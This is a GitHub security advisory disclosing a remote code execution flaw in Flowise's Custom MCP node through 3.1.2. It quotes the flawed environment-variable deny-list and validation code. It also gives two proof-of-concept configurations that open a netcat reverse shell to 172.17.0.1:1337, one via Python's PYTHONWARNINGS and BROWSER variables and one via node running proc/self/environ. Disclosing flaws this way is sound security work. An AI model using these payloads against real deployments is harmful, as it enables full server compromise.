Skip to content
This repository was archived by the owner on Aug 13, 2026. It is now read-only.

Flowise RCE via Custom MCP Config Node

Critical
igor-magun-wd published GHSA-g98q-rm45-q9h8 Jul 29, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

=============================================================================
Security Advisory
elttam

Topic: Flowise RCE via Custom MCP Config Node

Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise supports connecting to custom Model Context Protocol (MCP) servers via the "Custom MCP" node, which leverages the @modelcontextprotocol/sdk dependency.

II. Problem Description

On deployments of Flowise that have the CUSTOM_MCP_PROTOCOL=stdio environment variable set (the default setting), the Custom MCP node allows the use of the StdioClientTransport MCP client, which is susceptible to Remote Code Execution (RCE). It is apparent reviewing the code that Flowise maintainers were aware of this risk, due to the validation checks that were enabled by default to mitigate against RCE.

The following code snippet shows that the node and python3 commands were allowed and the environment variable deny-list validation for a Custom MCP node configuration.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/tools/MCP/core.ts

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\//, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

    for (const arg of args) {
        if (typeof arg !== 'string') continue

        // Check for dangerous patterns
        for (const pattern of dangerousPatterns) {
            if (pattern.test(arg)) {
                throw new Error(`Argument contains potential local file access: "${arg}"`)
            }
        }
        ...
    }
}
...
export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS'] <1>

    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }

        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

...

export const validateMCPServerConfig = (serverParams: any): void => {
    // Validate the entire server configuration
    if (!serverParams || typeof serverParams !== 'object') {
        throw new Error('Invalid server configuration')
    }

    // Command allowlist - only allow specific safe commands
    const allowedCommands = ['node', 'npx', 'python', 'python3', 'docker'] <2>

    if (serverParams.command && !allowedCommands.includes(serverParams.command)) {
        throw new Error(`Command '${serverParams.command}' is not allowed. Allowed commands: ${allowedCommands.join(', ')}`)
    }

    // Validate arguments if present
    if (serverParams.args && Array.isArray(serverParams.args)) {
        validateArgsForLocalFileAccess(serverParams.args)
        validateCommandInjection(serverParams.args)

        // Validate command-specific dangerous flags
        if (serverParams.command) {
            validateCommandFlags(serverParams.command, serverParams.args)
        }
    }

    // Validate environment variables
    if (serverParams.env) {
        validateEnvironmentVariables(serverParams.env)
    }
}

<1> Inadequate deny-list of dangerous environment variables.
<2> Allows the use of the node and python3 commands.

Allowing users to set arbitrary environment variables for a new process is considered dangerous, and a deny-list approach is not recommended.

The following documents two different methods of exploiting this insecure environment variable validation to achieve RCE on Flowise. The RCE payloads could then be triggered by refreshing the available actions for the Custom MCP node.

RCE via Python Environment Variables

The PYTHONWARNINGS and BROWSER environment variables could be abused to execute arbitrary terminal commands when a python3 process starts. The following JSON demonstrates a Custom MCP configuration that executes a reverse shell payload by abusing the PYTHONWARNINGS and BROWSER python3 environment variables.

{
	"command": "python3",
	"args": [],
	"env": {
		"PYTHONWARNINGS": "module::antigravity.",
	    "BROWSER": "sh -c '/usr/bin/nc 172.17.0.1 1337 -e /bin/sh' #%s"
	}
}

ChatFlow export file
custom-mcp-python-poc.json

RCE via / Current Working Directory

The current working directory spawned using the StdioClientTransport was /, which can be abused to bypass the absolute file path validation check in validateArgsForLocalFileAccess. By setting the executed script to proc/self/environ for a node process, an attacker could override the HOME environment variable to contain JavaScript code, as shown in the following MCP configuration.

{
	"command": "node",
	"args": ["proc/self/environ"],
	"env": {
        "HOME": "console.log(require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh').toString());//" <1>
	}
}

<1> The trailing // is to comment out the other environment variables.

ChatFlow export file
custom-mcp-node-poc.json

III. Impact

An authenticated user on a Flowise instance that did not have the CUSTOM_MCP_PROTOCOL=sse environment variable set could exploit this RCE vulnerability, resulting in full compromise of the application.

IV. Solution

The default setting for the CUSTOM_MCP_PROTOCOL Flowise environment variable should be sse, due to the risk of RCE the StdioClientTransport client introduces. A deny-list approach for validating environment variables is not recommended, as there are likely other methods to achieve RCE via environment variables that are not documented in this report.

V. References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-73601

Weaknesses

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Credits